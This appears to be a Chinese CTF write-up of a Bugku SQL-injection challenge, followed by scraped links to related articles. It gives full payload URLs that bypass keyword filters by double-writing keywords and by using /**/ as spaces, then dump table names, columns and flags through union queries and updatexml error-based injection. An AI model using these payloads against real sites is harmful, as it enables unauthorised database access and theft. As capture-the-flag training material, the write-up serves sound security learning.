继续补sqli的题
  

  这道题与之前的题的区别是在第二部分中加了一道waf,所以需要特殊的手段来进行注入。
  题目来源:http://123.206.87.240:9004/1ndex.php?id=1
  

第一部分

  通过改变id值我们可以看页面内容的变化。5时提醒可以注入,6以后开始报error:
  
  
  构造1:
  http://123.206.87.240:9004/1ndex.php?id=1%27%20and%201=1%23报错
  构造2:
  http://123.206.87.240:9004/1ndex.php?id=1%27%20or%201=1%23报错
  考虑是过滤了关键词,尝试使用双写绕过:
  构造3:
  http://123.206.87.240:9004/1ndex.php?id=1%27%20anandd%201=1%23
  返回正常。
  
  
  判断字段数:
  http://123.206.87.240:9004/1ndex.php?id=1%27%20oorrder%20by%202%23
  order by 2时返回正常,说明有两个字段。(注意过滤了or关键词,所以order写作oorrder)
  
  判断回显点:
  http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,2%23
  
  
  查看当前数据库:
  http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,database()%23
  
  
  查询该库中所有表:
  http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,(selselectect group_concat(table_name) from infoorrmation_schema.tables where table_schema=database())%23
  (注意:information中or要双写:infoorrmation)
  
  
  该库中有两个表,hint表中储存的就是我们改变id值看到的提示。查看flag1表中字段数:
  http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,(selselectect group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1')%23
  
  该表中有两个字段:flag1和address
  
  查看flag1字段值:
  http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,(selselectect group_concat(flag1) from flag1)%23
  
  
  查看address值:
  http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,(selselectect group_concat(address) from flag1)%23
  
  进入下一关。
  

第二部分

  第一关主要是union注入加上双写绕过,难度不大,这里就有难度了。
  
  构造:
  http://123.206.87.240:9004/Once_More.php?id=%27
  返回值:

大专栏  Bugku的一道注入

1
  You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

  确定注入点,加上双写绕过试试
  构造:
  http://123.206.87.240:9004/Once_More.php?id=1%27%20anandd%201=1%23
  返回值:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'anandd 1=1#'' at line 1

  仍有过滤,尝试用//代替空格,不加双写:
  构造:
  `http://123.206.87.240:9004/Once_More.php?id=1%27/
/and//1=1%23返回正常:
  ![](/img/Bugku的一道注入---多次/11.png)
  
  判断字段数:
  构造:
http://123.206.87.240:9004/Once_More.php?id=1%27/
/order//by//3%23![](/img/Bugku的一道注入---多次/12.png)
  共有两个字段。
  
  判断回显点:
http://123.206.87.240:9004/Once_More.php?id=-1%27/**/union/**/select/**/1,2%23`
  报错:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select/**/1,2#'' at line 1

  
  GG,过滤了union。尝试大小写绕过,双写绕过,内联注释/*!*/绕过。然而统统GG。放弃union注入。
  
  但是他有报错,我们可以利用这个特点。这里用updatexml函数报错的方法来注入。
  
  构造:
  http://120.24.86.145:9004/Once_More.php?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23
  
  当前表名为flag2。
  
  构造:
  http://123.206.87.240:9004/Once_More.php?id=1%27%20and%20updatexml(1,concat(%27~%27,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27flag2%27),%27~%27),3)%20%23#
  
  当前表中有两个字段:flag2和address。
  
  查看flag2字段值:
  构造:
  http://123.206.87.240:9004/Once_More.php?id=?id=1%27%20and%20updatexml(1,concat(%27~%27,(select%20flag2%20from%20flag2),%27~%27),3)%20%23
  
  得flag:flag{Bugku-sql_6s-2i-4t-bug}
  
  另外这个题也是可以用盲注解决的。
  

updatexml

  updatexml函数格式:UPDATEXML (XML_document, XPath_string, new_value);
  1. 第一个参数:XML_document是String格式,为XML文档对象的名称。
  2. 第二个参数:XPath_string (Xpath格式的字符串)
  3. 第三个参数:new_value,String格式,替换查找到的符合条件的数据
  4. 函数作用:改变文档中符合条件的节点的值

  用该函数注入时需要结合concat()函数,因为concat连出来的字符串不符合XPath_String的格式,所以会报错。
  
  
  

Bugku的一道注入的更多相关文章

  1. bugku逗号过滤注入

    URL:http://120.24.86.145:8002/web15/ 直接给出了源码: <?php error_reporting(0); function getIp(){ $ip = ' ...

  2. bugku的一道图片隐写

    可以看到图片是不完整的就联想到其高宽问题.使用winhex打开 将高里面的01改成11 get flag{He1I0_d4_ba1}

  3. bugku的一道代码审计基础题:eval

    首先看到 include "flag.php",第一反应就应该是文件包含 直接先?hello=file:////etc, 然后啥也没 那就再检查一下代码,eval(var_dump ...

  4. bugku的一道XFF转发代理服务器题 “本地服务器”

    X-Forwarded-For requests包内构造方式: X-Forwarded-For: client1, proxy1, proxy2

  5. [CISCN2019 华北赛区 Day2 Web1]Hack World(二分法写布尔注入脚本)

    记一道布尔注入的题,存在过滤字符. 从题目看应该是一道注入题.提示存在flag表flag列. 输入1和2的返回结果不一样,可能是布尔注入. 简单用万能密码尝试了一下.提示SQL Injection C ...

  6. i春秋-Phone number(union注入+hex转码)

    记一道union注入语句转十六进制的注入题. 这个网站的基本功能就是可以找出跟你用户名相同的注册的人数. 注册登录给了两个显位. 点击check可以显示出有多少人和你用户名相同. 同时在这个页面的源代 ...

  7. [SniperOJ](web)图书管理系统 注入 源码泄露

    0x00 题目概况 题目地址:http://www.sniperoj.cn:10000/ 这是一道注入题,存在git源码泄露,使用githack(freebuf有工具介绍)把源码脱下来,进行审计,然后 ...

  8. 对某道ctf的一点点记录

    题目:http://ctf5.shiyanbar.com/web/pcat/index.php 是一道注入的题,主要利用了offset 和 group by with rollup的知识 1.offs ...

  9. 20165207 Exp9 Web安全基础

    目录 20165207 Exp9 Web安全基础 一.实验过程 1.环境配置 2.代理工具burpsuite 2.1 Http proxies -> Use the intercept 3.sq ...

随机推荐

  1. D. New Year and Conference(区间交,线段树)

    题:https://codeforces.com/contest/1284/problem/D 题意:给定n个1对的时间断,我是这么理解的,甲去参加a时间段的讲座,乙去参加b时间段的讲座,然后若这n对 ...

  2. Android之布局LinearLayout

    1.weight属性用法 主要用于view对象屏幕适配比例 如下图,左边是等比例,右边是1:2比例 实现代码: <LinearLayout xmlns:android="http:// ...

  3. tesseract系列(3) -- tesseract训练

    tessract的训练有个工具叫 jTessBoxEditor 1.jTessBoxEditor是用java写的,首先要装java的环境 jdk-8u191-windows-x64.exe 这个我想从 ...

  4. 【shell】概述

    功能简介 批量自动初始化系统(update,软件安装,时区设置,安全策略...) 批量自动部署软件(LAMP,LNMP,Nginx,LVS,Tomcat) 管理应用程序(KVM,集群管理扩容,MySQ ...

  5. mediawiki资料

    1.如何通过ip访问mediawiki --- http://blog.sina.com.cn/s/blog_3f2a2b8e01000awx.html 发布到外部网络,更改htfp.config里面 ...

  6. Octave 常用命令

    GNU Octave 官方文档 GNU Octave Documentation(Online) GNU Octave Documentation(PDF) 安装额外的包 Installing and ...

  7. centos telnet

    yum install telnet yum install telnet-server

  8. jQuery - textarea 自适应内容高度

    <textarea id="textarea"></textarea> <script> function makeExpandingArea( ...

  9. day28-黏包现象

    #黏包现象:信息还没接收完,下一次接收的时候一下子接收好几条黏在一起的信息. #黏包现象的原因:接收端不知道发送端发送的数据的长度.recv(字节数小了). # 第一次无法接收完就缓存起来,下一次接收 ...

  10. HttpClient的userAgent和refer问题

    HttpClient本质是模拟浏览器去请求网址,获取请求response. 为了更真实的模拟浏览器,不被限制,需要设置一些请求header. 如果是爬虫的话,老虑的会更多些,爬取网站在HttpClie ...